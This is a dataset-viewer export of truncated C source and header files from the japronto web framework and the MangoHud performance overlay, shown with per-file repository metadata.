size_t placeholder_cnt;
char buffer[];
} MatcherEntry;
typedef struct _Matcher Matcher;
typedef s... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/router/match_dict.c | null | null | null | null | null | null | C | 2026-05-04T18:40:03.243656 | #include <Python.h>
#include "match_dict.h"
PyObject*
MatchDict_entries_to_dict(MatchDictEntry* entries, size_t length)
{
PyObject* match_dict = NULL;
if(!(match_dict = PyDict_New()))
goto error;
for(MatchDictEntry* entry = entries; entry < entries + length; entry++) {
PyObject* key = NULL;
PyObje... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/router/match_dict.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.244367 | #pragma once
#include <Python.h>
typedef struct {
char* key;
size_t key_length;
char* value;
size_t value_length;
} MatchDictEntry;
PyObject*
MatchDict_entries_to_dict(MatchDictEntry* entries, size_t length);
|
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/picohttpparser/picohttpparser.c | null | null | null | null | null | null | C | 2026-05-04T18:40:03.282955 | /*
* Copyright (c) 2009-2014 Kazuho Oku, Tokuhiro Matsuno, Daisuke Murase,
* Shigeo Mitsunari
*
* The software is licensed under either the MIT License (below) or the Perl
* license.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and a... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/picohttpparser/picohttpparser.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.294557 | /*
* Copyright (c) 2009-2014 Kazuho Oku, Tokuhiro Matsuno, Daisuke Murase,
* Shigeo Mitsunari
*
* The software is licensed under either the MIT License (below) or the Perl
* license.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and a... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/router/cmatcher.c | null | null | null | null | null | null | C | 2026-05-04T18:40:03.355900 | #include <Python.h>
#include <stdbool.h>
#include "cmatcher.h"
#include "crequest.h"
#include "capsule.h"
struct _Matcher {
PyObject_HEAD
size_t buffer_len;
char* buffer;
};
typedef enum {
SEGMENT_EXACT,
SEGMENT_PLACEHOLDER
} SegmentType;
typedef struct {
size_t data_length;
char data[];
} ExactSe... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/response/cresponse.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.368136 | #pragma once
#include <Python.h>
#include <stdbool.h>
#include "common.h"
#define RESPONSE_INITIAL_BUFFER_LEN 1024
typedef struct {
PyObject_HEAD
bool opaque;
int minor_version;
KEEP_ALIVE keep_alive;
PyObject* code;
PyObject* mime_type;
PyObject* body;
PyObject* encoding;
PyObject* headers;
P... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/request/crequest.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.373397 | #pragma once
#include <Python.h>
#include <stdbool.h>
#include "cmatcher.h"
#include "cresponse.h"
#include "common.h"
#define REQUEST_INITIAL_BUFFER_LEN 1024
typedef struct {
PyObject_HEAD
char* method;
size_t method_len;
char* path;
bool path_decoded;
size_t path_len;
bool qs_decoded;
size_t qs_l... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/response/reasons.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.395108 | #pragma once
static const char* reasons_1xx[] = {
"Continue", //100
"Switching Protocols", //101
};
static const char* reasons_2xx[] = {
"OK", //200
"Created", //201
"Accepted", //202
"Non-Authoritative Information", //203
"No Content", // 204
"Reset Content", //205
"Partial Content", //206
};
stat... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/amdgpu.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.845031 | #pragma once
#include <stdio.h>
#include <inttypes.h>
#include <unistd.h>
#include <string>
#include "overlay_params.h"
#include <mutex>
#include <condition_variable>
#include <vector>
#include <sys/param.h>
#include <algorithm>
#include <atomic>
#include <thread>
#include "gpu_metrics_util.h"
#ifndef TEST_ONLY
#inclu... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | include/vulkan/vk_util.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.886772 | /*
* Copyright © 2017 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, pub... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/battery.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.890072 | #pragma once
#include <string>
class BatteryStats{
public:
void numBattery();
void update();
float getPower();
float getPercent();
float getTimeRemaining();
std::string battPath[2];
float current_watt = 0;
float current_percent = 0;
float rema... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/app/mangoapp_proto.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.902744 | #include <stdint.h>
struct mangoapp_msg_header {
long msg_type; // Message queue ID, never change
uint32_t version; /* for major changes in the way things work */
} __attribute__((packed));
struct mangoapp_msg_v1 {
struct mangoapp_msg_header hdr;
uint32_t pid;
uint64_t visible_frametime_ns;
... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/blacklist.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.907572 | #pragma once
#ifndef MANGOHUD_BLACKLIST_H
#define MANGOHUD_BLACKLIST_H
#include<string>
bool is_blacklisted(bool force_recheck = false);
void add_blacklist(const std::string& proc);
extern std::string global_proc_name;
extern std::string global_engine_name;
#endif //MANGOHUD_BLACKLIST_H
|
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/app/mangoapp.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.937899 | #pragma once
#include <stdint.h>
#include <mutex>
#include <condition_variable>
#include <vector>
extern std::mutex mangoapp_m;
extern std::condition_variable mangoapp_cv;
|
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/app/control.c | null | null | null | null | null | null | C | 2026-05-04T18:40:05.943610 | #include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "mangoapp_proto.h"
static void help_and_quit() {
fprintf(stderr, "Usage: mangohudctl [set|toggle] attribute [value]\n");
fprintf(stderr, " mangohudctl reload-cfg\n");
fp... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | include/elfhacks.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.966149 | /**
* \file src/elfhacks.h
* \brief elfhacks application interface
* \author Pyry Haulos <pyry.haulos@gmail.com>
* \date 2007-2008
*/
/* elfhacks.h -- Various ELF run-time hacks
version 0.4.1, March 9th, 2008
Copyright (C) 2007-2008 Pyry Haulos
This software is provided 'as-is', without any express or imp... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | include/KHR/khrplatform.h | null | null | null | null | null | null | C | 2026-05-04T18:40:05.970352 | #ifndef __khrplatform_h_
#define __khrplatform_h_
/*
** Copyright (c) 2008-2018 The Khronos Group Inc.
**
** Permission is hereby granted, free of charge, to any person obtaining a
** copy of this software and/or associated documentation files (the
** "Materials"), to deal in the Materials without restriction, includi... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/config.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.426796 | #pragma once
#ifndef MANGOHUD_CONFIG_H
#define MANGOHUD_CONFIG_H
#include "overlay_params.h"
#include <string>
void parseConfigFile(overlay_params& p);
std::string get_program_name();
void parseConfigLine(std::string line, std::unordered_map<std::string, std::string>& options);
#endif //MANGOHUD_CONFIG_H
|
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/device.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.494892 | #pragma once
#ifndef MANGOHUD_DEVICE_H
#define MANGOHUD_DEVICE_H
#include <vector>
#include <string>
#include "overlay_params.h"
struct overlay_params;
struct device_batt {
std::string battery;
std::string name;
bool report_percent;
std::string battery_percent;
bool is_charging;
};
extern std::vect... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/cpu.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.514706 | #pragma once
#ifndef MANGOHUD_CPU_H
#define MANGOHUD_CPU_H
#include <vector>
#include <cstdint>
#include <cstdio>
#include <memory>
#include <string>
#ifdef WIN32
#include <windows.h>
#endif
#include "timing.hpp"
#include "gpu.h"
typedef struct CPUData_ {
unsigned long long int totalTime;
unsigned long long int... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/dbus_info.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.515764 | #pragma once
#ifndef MANGOHUD_DBUS_INFO_H
#define MANGOHUD_DBUS_INFO_H
#ifdef HAVE_DBUS
#include <array>
#include <functional>
#include <map>
#include <mutex>
#include <stdexcept>
#include <string>
#include <thread>
#include <unordered_map>
#include <vector>
#include "loaders/loader_dbus.h"
struct metadata {
//... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/dbus_helpers.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.550690 | #pragma once
#ifndef MANGOHUD_DBUS_HELPERS
#define MANGOHUD_DBUS_HELPERS
#include <vector>
#include <spdlog/spdlog.h>
#include <signal.h>
#include "loaders/loader_dbus.h"
namespace DBus_helpers {
namespace detail {
// clang-format off
template<class T> struct dbus_type_traits{};
template<> struct dbus_type_traits<bo... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/font_default.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.552546 | #pragma once
#ifndef MANGOHUD_FONT_DEFAULT_H
#define MANGOHUD_FONT_DEFAULT_H
#ifdef __cplusplus
extern "C" {
#endif
const char* GetDefaultCompressedFontDataTTFBase85(void);
#ifdef __cplusplus
}
#endif
#endif // MANGOHUD_FONT_DEFAULT_H
|
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/fcat.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.564628 | #pragma once
#ifndef MANGOHUD_FCAT_H
#define MANGOHUD_FCAT_H
#include <iostream>
#include <vector>
#include <fstream>
#include <chrono>
#include <thread>
#include <condition_variable>
#include <array>
#include "timing.hpp"
#include "overlay_params.h"
#include "overlay.h"
struct fcatoverlay{
const struct overlay_p... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/elfhacks.c | null | null | null | null | null | null | C | 2026-05-04T18:40:06.565664 | /**
* \file src/elfhacks.c
* \brief various ELF run-time hacks
* \author Pyry Haulos <pyry.haulos@gmail.com>
* \date 2007-2008
* For conditions of distribution and use, see copyright notice in elfhacks.h
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/file_utils.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.626417 | #pragma once
#ifndef MANGOHUD_FILE_UTILS_H
#define MANGOHUD_FILE_UTILS_H
#include <string>
#include <vector>
#include <regex>
#include <array>
#include <filesystem.h>
namespace fs = ghc::filesystem;
enum LS_FLAGS
{
LS_DIRS = 0x01,
LS_FILES = 0x02,
};
std::string read_line(const std::string& filename);
std::v... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/fex.h | null | null | null | null | null | null | C | 2026-05-04T18:40:06.785648 | #pragma once
#ifdef HAVE_FEX
#ifndef MANGOHUD_FEX_H
#define MANGOHUD_FEX_H
#include <cstdint>
#include <vector>
#include <string>
namespace fex {
bool is_fex_capable();
bool is_fex_pid_found();
const char* get_fex_app_type();
extern const char* fex_status;
extern std::string fex_version;
extern std::vector<float> fe... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/fps_limiter.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.092710 | #pragma once
#include "overlay_params.h"
#include <mesa/util/os_time.h>
class fpsLimiter {
private:
int64_t target = 0;
int64_t overhead = 0;
size_t fps_limits_idx = 0;
int64_t frame_start = 0;
int64_t frame_end = 0;
int64_t calc_sleep(int64_t start, int64_t end) {
... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/fps_metrics.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.106836 | #pragma once
#include <vector>
#include <string>
#include <memory>
#include <thread>
#include <mesa/util/os_time.h>
#include <numeric>
#include <mutex>
#include <algorithm>
#include <condition_variable>
#include <stdexcept>
#include <iomanip>
#include <spdlog/spdlog.h>
struct metric_t {
std::string name;
float... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/ftrace.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.130924 | #pragma once
#ifdef HAVE_FTRACE
#include <array>
#include <atomic>
#include <memory>
#include <thread>
#include <unordered_map>
#include <spdlog/spdlog.h>
#include "overlay_params.h"
namespace FTrace {
enum class TracepointType {
Histogram,
LineGraph,
Label,
};
struct Tracepoint {
uint32_t update... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gl/gl_renderer.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.171012 | // dear imgui: Renderer for modern OpenGL with shaders / programmatic pipeline
// - Desktop GL: 2.x 3.x 4.x
// - Embedded GL: ES 2.0 (WebGL 1.0), ES 3.0 (WebGL 2.0)
// This needs to be used along with a Platform Binding (e.g. GLFW, SDL, Win32, custom..)
// Implemented features:
// [X] Renderer: User texture binding. ... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gl/shim.c | null | null | null | null | null | null | C | 2026-05-04T18:40:07.174568 | #include <dlfcn.h>
#include <errno.h>
#include <link.h>
#include <stdio.h>
#include <stdint.h>
#include "gl.h"
#include "real_dlsym.h"
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#ifndef RTLD_DEEPBIND
#define RTLD_DEEPBIND 0
#endif
static void* handle = NULL;
static bool mangoHudLoaded = false;
#ifd... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/font_unispace.c | null | null | null | null | null | null | C | 2026-05-04T18:40:07.176494 | #include "font_default.h"
static const char ttf_compressed_data_base85[178490+1] =
"7])########0tO6'/###W),##1xL$#Q6>##U[n42f)']<P5)=-'5N;6aNV=B9l7_2T->>#tG:;$Z2XGHQ=WO#/HAi^K@tc3DJk7DQO2$2iO]._b(35&*a(*HMY`=-J3S>-x^Nj0#-0%J"
"f9-eB0[qr$7[.nT7-d<BOZl)2u(@cV%JdD4AJr9.)A,Gi(Xx%Yw>eW.;h^`IIo]7C2N(<-JRUV$g3JuB=]G%... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gl/gl_hud.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.239773 | #pragma once
#ifndef MANGOHUD_GL_IMGUI_HUD_H
#define MANGOHUD_GL_IMGUI_HUD_H
#include "overlay.h"
#include "gl_renderer.h"
namespace MangoHud { namespace GL {
enum gl_wsi
{
GL_WSI_UNKNOWN,
GL_WSI_GLX,
GL_WSI_EGL,
};
void imgui_init();
void imgui_create(gl_context *ctx, const gl_wsi plat);
void imgui_shu... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gl/gl.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.262533 | #pragma once
#ifndef MANGOHUD_GL_GL_H
#define MANGOHUD_GL_GL_H
#ifdef __cplusplus
extern "C" {
#endif //__cplusplus
void * glXCreateContext(void *, void *, void *, int);
void glXDestroyContext(void *, void*);
void glXSwapBuffers(void*, void*);
void glXSwapIntervalEXT(void*, void*, int);
int glXSwapIntervalSGI(int);
i... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gpu_fdinfo.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.370491 | #pragma once
#include <inttypes.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <cstdint>
#include <thread>
#include <atomic>
#include <map>
#include <set>
#include <regex>
#include <sstream>
#ifdef TEST_ONLY
#include <../src/mesa/util/os_time.h>
#else
#include "mesa/util/os_time.h"
#end... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gpu.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.394210 | #pragma once
#ifndef MANGOHUD_GPU_H
#define MANGOHUD_GPU_H
#include <cstdio>
#include <cstdint>
#include "overlay_params.h"
#include <thread>
#include <mutex>
#include <atomic>
#include <chrono>
#include <regex>
#include <iostream>
#include <array>
#include "amdgpu.h"
#include "nvidia.h"
#include "gpu_metrics_util.h"
... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/gpu_metrics_util.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.688286 | #pragma once
#include <atomic>
struct gpu_metrics {
int load;
int temp;
int junction_temp {-1};
int memory_temp {-1};
float sys_vram_used;
float proc_vram_used;
float memoryTotal;
int MemClock;
int CoreClock;
float powerUsage;
float powerLimit;
float apu_cpu_power;
i... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/hud_elements.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.701774 | #pragma once
#include <vector>
#include <string>
#include <utility>
#include <map>
#include <imgui.h>
#include "timing.hpp"
#include <functional>
#include <vulkan/vulkan.h>
#include <vulkan/vk_enum_string_helper.h>
#include <array>
#include "net.h"
#include "overlay_params.h"
#include "shell.h"
#include "gpu.h"
struct... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/iostats.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.861596 | #pragma once
#ifndef MANGOHUD_IOSTATS_H
#define MANGOHUD_IOSTATS_H
#include <inttypes.h>
#include "timing.hpp"
struct iostats {
struct {
unsigned long long read_bytes;
unsigned long long write_bytes;
} curr;
struct {
unsigned long long read_bytes;
unsigned long long write_bytes;
... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/imgui_utils.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.862408 | #pragma once
#include <imgui.h>
#ifdef __linux__
#include <implot.h>
#endif
struct imgui_contexts {
ImGuiContext* imgui = nullptr;
#ifdef IMPLOT_API
ImPlotContext* implot = nullptr;
#endif
};
static imgui_contexts create_imgui_contexts(ImFontAtlas* shared_font_atlas = NULL)
{
imgui_contexts contexts;
... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/keybinds.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.865596 | #pragma once
#ifndef MANGOHUD_KEYBINDS_H
#define MANGOHUD_KEYBINDS_H
#ifdef HAVE_X11
#include "shared_x11.h"
#include "loaders/loader_x11.h"
#endif
#ifdef HAVE_WAYLAND
#include "wayland_hook.h"
#endif
#ifndef KeySym
typedef unsigned long KeySym;
#endif
#if defined(HAVE_X11) || defined(HAVE_WAYLAND)
static inline boo... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/loaders/loader_dbus.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.866827 |
#ifndef LIBRARY_LOADER_DBUS_H
#define LIBRARY_LOADER_DBUS_H
#include <dbus/dbus.h>
#define LIBRARY_LOADER_DBUS_H_DLOPEN
#include <string>
#include <dlfcn.h>
class libdbus_loader {
public:
libdbus_loader();
libdbus_loader(const std::string& library_name) : libdbus_loader() {
Load(library_name);
}
~libd... |
flightlessmango/MangoHud | https://github.com/flightlessmango/MangoHud | null | null | null | null | 8,536 | null | null | mit | null | null | null | null | null | null | null | src/loaders/loader_glx.h | null | null | null | null | null | null | C | 2026-05-04T18:40:07.868006 | #pragma once
#include "gl/gl.h"
#include <dlfcn.h>
class glx_loader {
public:
glx_loader();
~glx_loader();
bool Load();
bool IsLoaded() { return loaded_; }
decltype(&::glXGetProcAddress) GetProcAddress;
decltype(&::glXGetProcAddressARB) GetProcAddressARB;
decltype(&::glXCreateContext) CreateContext;
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.